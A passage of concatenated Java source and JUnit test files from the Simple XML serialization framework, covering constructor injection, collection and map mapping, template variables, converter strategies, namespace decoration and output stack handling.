OptionalNameExample login = persister.read(OptionalNameExample.class, LOGIN_SOURCE);
assertEquals(login.getName(), "john.doe");
validate(persister, login);
OptionalNameExample account = persister.read(OptionalNameExample.class, ACCOUNT_SOURCE);
assertEquals(account.getName(), "john.doe");
validate(persister, account);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CollectionConstructorTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.Map;
import java.util.Vector;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
public class CollectionConstructorTest extends TestCase {
private static final String LIST =
"<example>"+
" <entry name='a' value='1'/>"+
" <entry name='b' value='2'/>"+
"</example>";
private static final String MAP =
"<example>"+
" <element key='A'>"+
" <entry name='a' value='1'/>"+
" </element>"+
" <element key='B'>"+
" <entry name='b' value='2'/>"+
" </element>"+
"</example>";
private static final String COMPOSITE =
"<composite>"+
" <example class='org.simpleframework.xml.core.CollectionConstructorTest$ExtendedCollectionConstructor'>"+
" <entry name='a' value='1'/>"+
" <entry name='b' value='2'/>"+
" </example>"+
"</composite>";
@Root(name="example")
private static class MapConstructor {
@ElementMap(name="list", entry="element", key="key", attribute=true, inline=true)
private final Map<String, Entry> map;
public MapConstructor(@ElementMap(name="list", entry="element", key="key", attribute=true, inline=true) Map<String, Entry> map) {
this.map = map;
}
public int size() {
return map.size();
}
}
@Root(name="example")
private static class CollectionConstructor {
@ElementList(name="list", inline=true)
private final Vector<Entry> vector;
public CollectionConstructor(@ElementList(name="list", inline=true) Vector<Entry> vector) {
this.vector = vector;
}
public int size() {
return vector.size();
}
}
@Root(name="entry")
private static class Entry {
@Attribute(name="name")
private final String name;
@Attribute(name="value")
private final String value;
public Entry(@Attribute(name="name") String name, @Attribute(name="value") String value) {
this.name = name;
this.value = value;
}
public String getName() {
return name;
}
public String getValue() {
return value;
}
}
@Root(name="example")
private static class ExtendedCollectionConstructor extends CollectionConstructor {
public ExtendedCollectionConstructor(@ElementList(name="list", inline=true) Vector<Entry> vector) {
super(vector);
}
}
@Root(name="composite")
private static class CollectionConstructorComposite {
@Element(name="example")
private CollectionConstructor collection;
public CollectionConstructor getCollection() {
return collection;
}
}
public void testCollectionConstructor() throws Exception {
Persister persister = new Persister();
CollectionConstructor constructor = persister.read(CollectionConstructor.class, LIST);
assertEquals(constructor.size(), 2);
}
public void testMapConstructor() throws Exception {
Persister persister = new Persister();
MapConstructor constructor = persister.read(MapConstructor.class, MAP);
assertEquals(constructor.size(), 2);
}
public void testCollectionConstructorComposite() throws Exception {
Persister persister = new Persister();
CollectionConstructorComposite composite = persister.read(CollectionConstructorComposite.class, COMPOSITE);
assertEquals(composite.getCollection().getClass(), ExtendedCollectionConstructor.class);
assertEquals(composite.getCollection().size(), 2);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ConstructorInjectionDifferentTypeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class ConstructorInjectionDifferentTypeTest extends ValidationTestCase {
@Root
private static class Example {
@Element(name="k", data=true)
private final String key;
@Element(name="v", data=true, required=false)
private final String value;
public Example(@Element(name="k") int key, @Element(name="v") String value) {
this.key = String.valueOf(key);
this.value = value;
}
public String getKey(){
return key;
}
public String getValue(){
return value;
}
}
public void testDifferentTypes() throws Exception {
Persister persister = new Persister();
Example example = new Example(1, "1");
boolean exception = false;
try {
persister.write(example, System.out);
}catch(ConstructorException e) {
e.printStackTrace();
exception = true;
}
assertTrue("Parameter matching should respect types", exception);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/PackageParser.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.net.URI;
class PackageParser {
private static final String scheme = "http://";
public Class revert(String reference) throws Exception {
URI uri = new URI(reference);
String domain = uri.getHost();
String path = uri.getPath();
String[] list = domain.split("\\.");
if(list.length > 1) {
domain = list[1] + "." + list[0];
} else {
domain = list[0];
}
String type = domain + path.replaceAll("\\/+", ".");
return Class.forName(type);
}
public String parse(String className) throws Exception {
return new Convert(className).fastParse();
}
public String parse(Class type) throws Exception {
return new Convert(type.getName()).fastParse();
}
public static class Convert {
private char[] array;
private int count;
private int mark;
private int size;
private int pos;
public Convert(String type) {
this.array = type.toCharArray();
}
public String fastParse() throws Exception {
char[] work = new char[array.length + 10];
scheme(work);
domain(work);
path(work);
return new String(work, 0, pos);
}
private void scheme(char[] work) {
"http://".getChars(0, 7, work, 0);
pos += 7;
}
private void path(char[] work) {
for(int i = size; i < array.length; i++) {
if(array[i] == '.') {
work[pos++] = '/';
} else {
work[pos++] = array[i];
}
}
}
private void domain(char[] work) {
while(size < array.length) {
if(array[size] == '.') {
if(count++ == 1) {
break;
}
mark = size + 1;
}
size++;
}
for(int i = 0; i < size - mark; i++) {
work[pos++] = array[mark + i];
}
work[pos++] = '.';
work[size + 7] = '/';
for(int i = 0; i < mark - 1; i++) {
work[pos++] = array[i];
}
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/TemplateTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringReader;
import org.simpleframework.xml.ValidationTestCase;
import java.io.StringWriter;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Commit;
import org.simpleframework.xml.core.Persister;
public class TemplateTest extends ValidationTestCase {
private static final String EXAMPLE =
"<?xml version=\"1.0\"?>\n"+
"<test name='test'>\n"+
" <config>\n"+
" <var name='name' value='<NAME>'/>\n"+
" <var name='mail' value='<EMAIL>'/>\n"+
" <var name='title' value='Mr'/>\n"+
" </config>\n"+
" <details> \n\r"+
" <title>${title}</title> \n"+
" <mail>${mail}</mail> \n"+
" <name>${name}</name> \n"+
" </details>\n"+
"</test>";
@Root(name="var")
private static class Variable {
@Attribute(name="name")
private String name;
@Attribute(name="value")
private String value;
@Commit
public void commit(Map map) {
map.put(name, value);
}
}
@Root(name="test")
private static class Example {
@Attribute(name="name")
private String name;
@ElementList(name="config", type=Variable.class)
private List list;
@Element(name="details")
private Details details;
}
private static class Details {
@Element(name="title")
private String title;
@Element(name="mail")
private String mail;
@Element(name="name")
private String name;
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testTemplate() throws Exception {
Example example = serializer.read(Example.class, EXAMPLE);
assertEquals(example.name, "test");
assertEquals(example.details.title, "Mr");
assertEquals(example.details.mail, "<EMAIL>");
assertEquals(example.details.name, "<NAME>");
validate(example, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/CombinedStrategyTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.io.StringWriter;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.HyphenStyle;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
import org.simpleframework.xml.stream.Style;
public class CombinedStrategyTest extends ValidationTestCase {
private static class Item {
private int value;
public Item(int value) {
this.value = value;
}
public int getValue(){
return value;
}
}
@Root
@Convert(ExtendedItemConverter.class)
private static class ExtendedItem extends Item {
public ExtendedItem(int value) {
super(value);
}
}
private static class AnnotationItemConverter implements Converter<Item> {
public Item read(InputNode node) throws Exception {
return new Item(Integer.parseInt(node.getAttribute("value").getValue()));
}
public void write(OutputNode node, Item value) throws Exception {
node.setAttribute("value", String.valueOf(value.getValue()));
node.setAttribute("type", getClass().getName());
}
}
private static class RegistryItemConverter implements Converter<Item> {
public Item read(InputNode node) throws Exception {
return new Item(Integer.parseInt(node.getNext().getValue()));
}
public void write(OutputNode node, Item value) throws Exception {
node.getChild("value").setValue(String.valueOf(value.getValue()));
node.getChild("type").setValue(getClass().getName());
}
}
private static class ExtendedItemConverter implements Converter<ExtendedItem> {
public ExtendedItem read(InputNode node) throws Exception {
return new ExtendedItem(Integer.parseInt(node.getAttribute("value").getValue()));
}
public void write(OutputNode node, ExtendedItem value) throws Exception {
node.setAttribute("value", String.valueOf(value.getValue()));
node.setAttribute("type", getClass().getName());
}
}
@Root
private static class CombinationExample {
@Element
private Item item; // handled by the registry
@Element
@Convert(AnnotationItemConverter.class) // handled by annotation
private Item overriddenItem;
@Element
private Item extendedItem; // handled by class annotation
public CombinationExample(int item, int overriddenItem, int extendedItem) {
this.item = new Item(item);
this.overriddenItem = new Item(overriddenItem);
this.extendedItem = new ExtendedItem(extendedItem);
}
public Item getItem(){
return item;
}
public Item getOverriddenItem(){
return overriddenItem;
}
public Item getExtendedItem() {
return extendedItem;
}
}
public void testCombinedStrategy() throws Exception {
Registry registry = new Registry();
AnnotationStrategy annotationStrategy = new AnnotationStrategy();
RegistryStrategy registryStrategy = new RegistryStrategy(registry, annotationStrategy);
Persister persister = new Persister(registryStrategy);
CombinationExample example = new CombinationExample(1, 2, 3);
StringWriter writer = new StringWriter();
registry.bind(Item.class, RegistryItemConverter.class);
persister.write(example, writer);
String text = writer.toString();
System.out.println(text);
assertElementExists(text, "/combinationExample/item/value");
assertElementHasValue(text, "/combinationExample/item/value", "1");
assertElementHasValue(text, "/combinationExample/item/type", RegistryItemConverter.class.getName());
assertElementExists(text, "/combinationExample/overriddenItem");
assertElementHasAttribute(text, "/combinationExample/overriddenItem", "value", "2");
assertElementHasAttribute(text, "/combinationExample/overriddenItem", "type", AnnotationItemConverter.class.getName());
assertElementExists(text, "/combinationExample/extendedItem");
assertElementHasAttribute(text, "/combinationExample/extendedItem", "value", "3");
assertElementHasAttribute(text, "/combinationExample/extendedItem", "type", ExtendedItemConverter.class.getName());
}
public void testCombinationStrategyWithStyle() throws Exception {
Registry registry = new Registry();
AnnotationStrategy annotationStrategy = new AnnotationStrategy();
RegistryStrategy registryStrategy = new RegistryStrategy(registry, annotationStrategy);
Style style = new HyphenStyle();
Format format = new Format(style);
Persister persister = new Persister(registryStrategy, format);
CombinationExample example = new CombinationExample(1, 2, 3);
StringWriter writer = new StringWriter();
registry.bind(Item.class, RegistryItemConverter.class);
persister.write(example, writer);
String text = writer.toString();
System.out.println(text);
assertElementExists(text, "/combination-example/item/value");
assertElementHasValue(text, "/combination-example/item/value", "1");
assertElementHasValue(text, "/combination-example/item/type", RegistryItemConverter.class.getName());
assertElementExists(text, "/combination-example/overridden-item");
assertElementHasAttribute(text, "/combination-example/overridden-item", "value", "2");
assertElementHasAttribute(text, "/combination-example/overridden-item", "type", AnnotationItemConverter.class.getName());
assertElementExists(text, "/combination-example/extended-item");
assertElementHasAttribute(text, "/combination-example/extended-item", "value", "3");
assertElementHasAttribute(text, "/combination-example/extended-item", "type", ExtendedItemConverter.class.getName());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NamespaceDecoratorTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.lang.annotation.Annotation;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.NamespaceDecorator;
import org.simpleframework.xml.stream.NodeBuilder;
import org.simpleframework.xml.stream.OutputNode;
public class NamespaceDecoratorTest extends ValidationTestCase {
private static class MockNamespace implements Namespace {
private final String prefix;
private final String reference;
public MockNamespace(String prefix, String reference) {
this.prefix = prefix;
this.reference = reference;
}
public String reference() {
return reference;
}
public String prefix() {
return prefix;
}
public Class<? extends Annotation> annotationType() {
return Namespace.class;
}
}
public void testQualifier() throws Exception {
NamespaceDecorator global = new NamespaceDecorator();
NamespaceDecorator qualifier = new NamespaceDecorator();
NamespaceDecorator attribute = new NamespaceDecorator();
global.add(new MockNamespace("global", "http://www.domain.com/global"));
qualifier.add(new MockNamespace("a", "http://www.domain.com/a"));
qualifier.add(new MockNamespace("b", "http://www.domain.com/b"));
qualifier.add(new MockNamespace("c", "http://www.domain.com/c"));
attribute.add(new MockNamespace("d", "http://www.domain.com/d"));
global.set(new MockNamespace("first", "http://www.domain.com/ignore"));
qualifier.set(new MockNamespace("a", "http://www.domain.com/a"));
attribute.set(new MockNamespace("b", "http://www.domain.com/b"));
StringWriter out = new StringWriter();
OutputNode top = NodeBuilder.write(out);
OutputNode root = top.getChild("root");
root.setAttribute("version", "1.0");
qualifier.decorate(root, global);
OutputNode child = root.getChild("child");
child.setAttribute("name", "<NAME>");
OutputNode name = child.getAttributes().get("name");
attribute.decorate(name);
OutputNode grandChild = child.getChild("grandChild");
grandChild.setValue("this is the grand child");
root.commit();
validate(out.toString());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/TimeTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.sql.Time;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Date;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.transform.DateTransform;
public class TimeTransformTest extends ValidationTestCase {
@Root
public static class TimeExample {
@Attribute
private Date attribute;
@Element
private Date element;
@Element
private Time time;
@ElementList
private Collection<Time> list;
@ElementArray
private Time[] array;
public TimeExample() {
super();
}
public TimeExample(long time) {
this.attribute = new Time(time);
this.element = new Time(time);
this.time = new Time(time);
this.list = new ArrayList<Time>();
this.list.add(new Time(time));
this.list.add(new Time(time));
this.array = new Time[1];
this.array[0] = new Time(time);
}
}
public void testTime() throws Exception {
long now = System.currentTimeMillis();
Time date = new Time(now);
DateTransform format = new DateTransform(Time.class);
String value = format.write(date);
Date copy = format.read(value);
assertEquals(date, copy);
assertEquals(copy.getTime(), now);
}
public void testPersistence() throws Exception {
long now = System.currentTimeMillis();
Persister persister = new Persister();
TimeExample example = new TimeExample(now);
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/util/Replace.java<|end_filename|>
package org.simpleframework.xml.util;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
public class Replace extends LineStripper {
private static final String LGPL =
" \\* This library is free software.*02111-1307\\s+USA\\s+\\*\\/";
private static final String APACHE =
" * Licensed under the Apache License, Version 2.0 (the \"License\");\n"+
" * you may not use this file except in compliance with the License.\n"+
" * You may obtain a copy of the License at\n"+
" *\n"+
" * http://www.apache.org/licenses/LICENSE-2.0\n"+
" *\n"+
" * Unless required by applicable law or agreed to in writing, software\n"+
" * distributed under the License is distributed on an \"AS IS\" BASIS,\n"+
" * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or \n"+
" * implied. See the License for the specific language governing \n"+
" * permissions and limitations under the License.\n"+
" */";
public static void main(String[] list) throws Exception{
List<File> files = getFiles(new File(list[0]), true);
Pattern pattern = Pattern.compile(LGPL, Pattern.DOTALL | Pattern.MULTILINE);
for(File file : files) {
String text = getFile(file);
text = pattern.matcher(text).replaceAll(APACHE);
save(file, text);
}
}
public static void save(File file, String text) throws Exception {
OutputStream out = new FileOutputStream(file);
OutputStreamWriter utf = new OutputStreamWriter(out, "UTF-8");
utf.write(text);
utf.flush();
utf.close();
out.flush();
out.close();
}
public static String getFile(File file) throws Exception {
InputStream in = new FileInputStream(file);
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] block = new byte[8192];
int count = 0;
while((count = in.read(block)) != -1) {
out.write(block, 0, count);
}
return out.toString("UTF-8");
}
public static List<File> getFiles(File root, boolean recursive) {
List<File> files = new ArrayList<File>();
File[] fileList = root.listFiles();
for(File file : fileList) {
if(file.isDirectory() && !file.getName().equals(".svn")) {
if(recursive) {
files.addAll(getFiles(file, recursive));
}
} else if(file.getName().endsWith(".java")){
files.add(file);
}
}
return files;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/ConverterFactoryTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
import junit.framework.TestCase;
public class ConverterFactoryTest extends TestCase {
private static class A implements Converter {
public Object read(InputNode node) {
return null;
}
public void write(OutputNode node, Object value) {
return;
}
}
private static class B extends A {}
private static class C extends A {}
public void testFactory() throws Exception {
ConverterFactory factory = new ConverterFactory();
Converter a1 = factory.getInstance(A.class);
Converter b1 = factory.getInstance(B.class);
Converter c1 = factory.getInstance(C.class);
Converter a2 = factory.getInstance(A.class);
Converter b2 = factory.getInstance(B.class);
Converter c2 = factory.getInstance(C.class);
assertTrue(a1 == a2);
assertTrue(b1 == b2);
assertTrue(c1 == c2);
assertEquals(a1.getClass(), A.class);
assertEquals(b1.getClass(), B.class);
assertEquals(c1.getClass(), C.class);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/OutputStack.java<|end_filename|>
/*
* OutputStack.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
import java.util.Iterator;
import java.util.ArrayList;
import java.util.Set;
/**
* The <code>OutputStack</code> is used to keep track of the nodes
* that have been written to the document. This ensures that when
* nodes are written to the XML document that the writer can tell
* whether a child node for a given <code>OutputNode</code> can be
* created. Each created node is pushed, and popped when ended.
*
* @author <NAME>
*
* @see org.simpleframework.xml.stream.OutputNode
*/
class OutputStack extends ArrayList<OutputNode> {
/**
* Represents the set of nodes that have not been committed.
*/
private final Set active;
/**
* Constructor for the <code>OutputStack</code> object. This is
* used to create a stack that can be used to keep track of the
* elements that have been written to the XML document.
*/
public OutputStack(Set active) {
this.active = active;
}
/**
* This is used to remove the <code>OutputNode</code> from the
* top of the output stack. This is used when an element has been
* ended and the output writer wants to block child creation.
*
* @return this returns the node from the top of the stack
*/
public OutputNode pop() {
int size = size();
if(size <= 0) {
return null;
}
return purge(size - 1);
}
/**
* This is used to acquire the <code>OutputNode</code> from the
* top of the output stack. This is used when the writer wants to
* determine the current element written to the XML document.
*
* @return this returns the node from the top of the stack
*/
public OutputNode top() {
int size = size();
if(size <= 0) {
return null;
}
return get(size - 1);
}
/**
* This is used to acquire the <code>OutputNode</code> from the
* bottom of the output stack. This is used when the writer wants
* to determine the root element for the written XML document.
*
* @return this returns the node from the bottom of the stack
*/
public OutputNode bottom() {
int size = size();
if(size <= 0) {
return null;
}
return get(0);
}
/**
* This method is used to add an <code>OutputNode</code> to the
* top of the stack. This is used when an element is written to
* the XML document, and allows the writer to determine if a
* child node can be created from a given output node.
*
* @param value this is the output node to add to the stack
*/
public OutputNode push(OutputNode value) {
active.add(value);
add(value);
return value;
}
/**
* The <code>purge</code> method is used to purge a match from
* the provided position. This also ensures that the active set
* has the node removed so that it is no longer relevant.
*
* @param index the index of the node that is to be removed
*
* @return returns the node removed from the specified index
*/
public OutputNode purge(int index) {
OutputNode node = remove(index);
if(node != null){
active.remove(node);
}
return node;
}
/**
* This is returns an <code>Iterator</code> that is used to loop
* through the ouptut nodes from the top down. This allows the
* node writer to determine what <code>Mode</code> should be used
* by an output node. This reverses the iteration of the list.
*
* @return returns an iterator to iterate from the top down
*/
public Iterator<OutputNode> iterator() {
return new Sequence();
}
/**
* The is used to order the <code>OutputNode</code> objects from
* the top down. This is basically used to reverse the order of
* the linked list so that the stack can be iterated within a
* for each loop easily. This can also be used to remove a node.
*
* @author <NAME>
*/
private class Sequence implements Iterator<OutputNode> {
/**
* The cursor used to acquire objects from the stack.
*/
private int cursor;
/**
* Constructor for the <code>Sequence</code> object. This is
* used to position the cursor at the end of the list so the
* last inserted output node is the first returned from this.
*/
public Sequence() {
this.cursor = size();
}
/**
* Returns the <code>OutputNode</code> object at the cursor
* position. If the cursor has reached the start of the list
* then this returns null instead of the first output node.
*
* @return this returns the node from the cursor position
*/
public OutputNode next() {
if(hasNext()) {
return get(--cursor);
}
return null;
}
/**
* This is used to determine if the cursor has reached the
* start of the list. When the cursor reaches the start of
* the list then this method returns false.
*
* @return this returns true if there are more nodes left
*/
public boolean hasNext() {
return cursor > 0;
}
/**
* Removes the match from the cursor position. This also
* ensures that the node is removed from the active set so
* that it is not longer considered a relevant output node.
*/
public void remove() {
purge(cursor);
}
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/convert/Reference.java<|end_filename|>
/*
* Reference.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.convert;
import org.simpleframework.xml.strategy.Value;
/**
* The <code>Reference</code> object represents a value that holds
* an object instance. If an object instance is to be provided from
* a <code>Strategy</code> implementation it must be wrapped in a
* value object. The value object can then provide the details of
* the instance and the actual object instance to the serializer.
*
* @author <NAME>
*/
class Reference implements Value {
/**
* This represents the original value returned from a strategy.
*/
private Value value;
/**
* This represents the object instance that this represents.
*/
private Object data;
/**
* This is the actual type of the reference that is represented.
*/
private Class actual;
/**
* Constructor for a <code>Reference</code> object. To create
* this a value and an object instance is required. The value
* provided may be null, but the instance should be a valid
* object instance to be used by the serializer.
*
* @param value this is the original value from a strategy
* @param data this is the object instance that is wrapped
* @param actual this is the overriding type of the reference
*/
public Reference(Value value, Object data, Class actual){
this.actual = actual;
this.value = value;
this.data = data;
}
/**
* This will return the length of an array reference. Because
* the value will represent the value itself the length is
* never used, as no instance needs to be created.
*
* @return this will always return zero for a reference
*/
public int getLength() {
return 0;
}
/**
* This is the type of the object instance this represents. The
* type returned by this is used to instantiate an object which
* will be set on this value and the internal graph maintained.
*
* @return the type of the object that must be instantiated
*/
public Class getType() {
if(data != null) {
return data.getClass();
}
return actual;
}
/**
* This returns the actual object instance that is held by this
* reference object.
*/
public Object getValue() {
return data;
}
/**
* This will always return true as this <code>Value</code> object
* will always contain an object instance. Returning true from
* this method tells the serializer that there is no need to
* actually perform any further deserialization.
*
* @return this always returns true as this will be a reference
*/
public boolean isReference() {
return true;
}
/**
* This is used to set the value of the object. If the internal
* <code>Value</code> is not null then the internal value will
* have the instance set also.
*
* @param data this is the object instance that is to be set
*/
public void setValue(Object data) {
if(value != null) {
value.setValue(data);
}
this.data = data;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/filter/StackFilter.java<|end_filename|>
/*
* StackFilter.java May 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.filter;
import java.util.Stack;
/**
* The <code>StackFilter</code> object provides a filter that can
* be given a collection of filters which can be used to resolve a
* replacement. The order of the resolution used for this filter
* is last in first used. This order allows the highest priority
* filter to be added last within the stack.
*
* @author <NAME>
*/
public class StackFilter implements Filter {
/**
* This is used to store the filters that are used.
*/
private Stack<Filter> stack;
/**
* Constructor for the <code>StackFilter</code> object. This will
* create an empty filter that initially resolves null for all
* replacements requested. As filters are pushed into the stack
* the <code>replace</code> method can resolve replacements.
*/
public StackFilter() {
this.stack = new Stack<Filter>();
}
/**
* This pushes the the provided <code>Filter</code> on to the top
* of the stack. The last filter pushed on to the stack has the
* highes priority in the resolution of a replacement value.
*
* @param filter this is a filter to be pushed on to the stack
*/
public void push(Filter filter) {
stack.push(filter);
}
/**
* Replaces the text provided with the value resolved from the
* stacked filters. This attempts to resolve a replacement from
* the top down. So the last <code>Filter</code> pushed on to
* the stack will be the first filter queried for a replacement.
*
* @param text this is the text value to be replaced
*
* @return this will return the replacement text resolved
*/
public String replace(String text) {
for(int i = stack.size(); --i >= 0;) {
String value = stack.get(i).replace(text);
if(value != null){
return value;
}
}
return null;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/TemplateFilter.java<|end_filename|>
/*
* TemplateFilter.java May 2005
*
* Copyright (C) 2005, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.filter.Filter;
/**
* The <code>TemplateFilter</code> class is used to provide variables
* to the template engine. This template acquires variables from two
* different sources. Firstly this will consult the user contextual
* <code>Context</code> object, which can contain variables that have
* been added during the deserialization process. If a variable is
* not present from this context it asks the <code>Filter</code> that
* has been specified by the user.
*
* @author <NAME>
*/
class TemplateFilter implements Filter {
/**
* This is the template context object used by the persister.
*/
private Context context;
/**
* This is the filter object provided to the persister.
*/
private Filter filter;
/**
* Constructor for the <code>TemplateFilter</code> object. This
* creates a filter object that acquires template values from
* two different contexts. Firstly the <code>Context</code> is
* queried for a variables followed by the <code>Filter</code>.
*
* @param context this is the context object for the persister
* @param filter the filter that has been given to the persister
*/
public TemplateFilter(Context context, Filter filter) {
this.context = context;
this.filter = filter;
}
/**
* This will acquire the named variable value if it exists. If
* the named variable cannot be found in either the context or
* the user specified filter then this returns null.
*
* @param name this is the name of the variable to acquire
*
* @return this returns the value mapped to the variable name
*/
public String replace(String name) {
Object value = context.getAttribute(name);
if(value != null) {
return value.toString();
}
return filter.replace(name);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/DocumentProviderTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import java.io.StringReader;
import org.simpleframework.xml.ValidationTestCase;
public class DocumentProviderTest extends ValidationTestCase {
private static final String SOURCE =
"<root name='top'>\n"+
" <!-- child node -->\n"+
" <child a='A' b='B'>\n"+
" <leaf>leaf node</leaf>\n"+
" </child>\n"+
"</root>";
public void testReader() throws Exception {
Provider provider = new DocumentProvider();
StringReader source = new StringReader(SOURCE);
EventReader reader = provider.provide(source);
assertEquals(reader.peek().getName(), "root");
assertEquals(reader.next().getName(), "root");
assertTrue(reader.peek().isText());
assertTrue(reader.next().isText());
while(reader.peek().isText()) {
assertTrue(reader.next().isText()); // remove text from the document
}
assertEquals(reader.peek().getName(), "child");
assertEquals(reader.next().getName(), "child");
assertTrue(reader.peek().isText());
assertTrue(reader.next().isText());
while(reader.peek().isText()) {
assertTrue(reader.next().isText()); // remove text from the document
}
assertEquals(reader.peek().getName(), "leaf");
assertEquals(reader.next().getName(), "leaf");
assertTrue(reader.peek().isText());
assertEquals(reader.peek().getValue(), "leaf node");
assertEquals(reader.next().getValue(), "leaf node");
assertTrue(reader.next().isEnd());
while(reader.peek().isText()) {
assertTrue(reader.next().isText()); // remove text from the document
}
assertTrue(reader.next().isEnd());
while(reader.peek().isText()) {
assertTrue(reader.next().isText()); // remove text from the document
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/EnumMapTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.EnumMap;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class EnumMapTest extends ValidationTestCase {
private static enum Number {
ONE,
TWO,
THREE,
FOUR
}
@Root
private static class EnumMapExample {
@ElementMap
private EnumMap<Number, String> numbers = new EnumMap<Number, String>(Number.class);
private EnumMapExample() {
super();
}
public EnumMapExample(EnumMap<Number, String> numbers) {
this.numbers = numbers;
}
public String get(Number number) {
return numbers.get(number);
}
}
public void testEnumMap() throws Exception {
EnumMap<Number, String> numbers = new EnumMap<Number, String>(Number.class);
numbers.put(Number.ONE, "1");
numbers.put(Number.TWO, "2");
numbers.put(Number.THREE, "3");
EnumMapExample example = new EnumMapExample(numbers);
Persister persister = new Persister();
StringWriter out = new StringWriter();
persister.write(example, System.out);
persister.write(example, out);
EnumMapExample other = persister.read(EnumMapExample.class, out.toString());
assertEquals(other.get(Number.ONE), "1");
assertEquals(other.get(Number.TWO), "2");
assertEquals(other.get(Number.THREE), "3");
assertEquals(other.get(Number.FOUR), null);
persister.write(example, System.out);
validate(persister, example);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/SimpleConstructorInjectionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.Serializable;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
public class SimpleConstructorInjectionTest extends TestCase {
public void testConstructorInjection() throws Exception{
String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
"<MessageWrapper>" +
"<necessary>test</necessary>" +
